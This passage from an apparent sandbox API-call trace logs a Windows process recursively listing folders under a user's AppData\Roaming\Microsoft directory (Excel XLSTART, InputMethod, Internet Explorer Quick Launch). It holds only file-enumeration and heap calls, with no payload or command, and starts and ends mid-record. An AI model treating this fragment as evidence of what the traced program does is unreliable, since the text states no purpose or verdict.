ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0115.047] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0115.047] GetProcessHeap () returned 0x1600000 [0115.047] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668708 [0115.047] PathCombineW (in: pszDest=0x1668708, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel", pszFile="XLSTART" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0115.047] GetProcessHeap () returned 0x1600000 [0115.047] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x82) returned 0x1633498 [0115.047] PathCombineW (in: pszDest=0x1633498, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" [0115.047] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0115.050] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="..", cAlternateFileName="")) returned 1 [0115.050] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="..", cAlternateFileName="")) returned 0 [0115.050] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0115.050] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0115.050] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0115.050] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0115.050] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0115.051] GetProcessHeap () returned 0x1600000 [0115.051] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633498 | out: hHeap=0x1600000) returned 1 [0115.051] GetProcessHeap () returned 0x1600000 [0115.051] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668708 | out: hHeap=0x1600000) returned 1 [0115.051] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0115.051] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.051] GetProcessHeap () returned 0x1600000 [0115.051] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0115.051] GetProcessHeap () returned 0x1600000 [0115.051] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0115.051] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0115.051] GetProcessHeap () returned 0x1600000 [0115.051] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x1669098 [0115.051] PathCombineW (in: pszDest=0x1669098, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="InputMethod" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod" [0115.051] GetProcessHeap () returned 0x1600000 [0115.051] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668bd0 [0115.051] PathCombineW (in: pszDest=0x1668bd0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\*" [0115.051] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0115.052] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0115.052] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Chs", cAlternateFileName="")) returned 1 [0115.052] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Chs", cAlternateFileName="")) returned 0 [0115.053] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0115.053] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.053] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0115.053] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Chs", cAlternateFileName="")) returned 1 [0115.053] GetProcessHeap () returned 0x1600000 [0115.053] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x82) returned 0x1633018 [0115.053] PathCombineW (in: pszDest=0x1633018, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod", pszFile="Chs" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs" [0115.053] GetProcessHeap () returned 0x1600000 [0115.053] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x86) returned 0x16335b8 [0115.053] PathCombineW (in: pszDest=0x16335b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\*" [0115.053] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcf, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0115.053] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcf, cFileName="..", cAlternateFileName="")) returned 1 [0115.054] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcf, cFileName="..", cAlternateFileName="")) returned 0 [0115.054] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0115.054] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0115.054] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.054] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.054] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0115.054] GetProcessHeap () returned 0x1600000 [0115.054] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16335b8 | out: hHeap=0x1600000) returned 1 [0115.054] GetProcessHeap () returned 0x1600000 [0115.054] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633018 | out: hHeap=0x1600000) returned 1 [0115.054] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Chs", cAlternateFileName="")) returned 0 [0115.054] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.054] GetProcessHeap () returned 0x1600000 [0115.055] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668bd0 | out: hHeap=0x1600000) returned 1 [0115.055] GetProcessHeap () returned 0x1600000 [0115.055] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1669098 | out: hHeap=0x1600000) returned 1 [0115.055] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0115.055] GetProcessHeap () returned 0x1600000 [0115.055] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x86) returned 0x1633018 [0115.055] PathCombineW (in: pszDest=0x1633018, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Internet Explorer" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0115.055] GetProcessHeap () returned 0x1600000 [0115.055] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x167bef8 [0115.055] PathCombineW (in: pszDest=0x167bef8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" [0115.055] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0115.055] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0115.055] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0115.055] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="UserData", cAlternateFileName="")) returned 1 [0115.055] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="UserData", cAlternateFileName="")) returned 0 [0115.055] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0115.056] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0115.056] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0115.056] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0115.056] GetProcessHeap () returned 0x1600000 [0115.056] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656190 [0115.056] PathCombineW (in: pszDest=0x1656190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer", pszFile="Quick Launch" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0115.056] GetProcessHeap () returned 0x1600000 [0115.057] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162d2e8 [0115.057] PathCombineW (in: pszDest=0x162d2e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" [0115.057] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc9, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.057] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc9, cFileName="..", cAlternateFileName="")) returned 1 [0115.057] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2111f8cb, 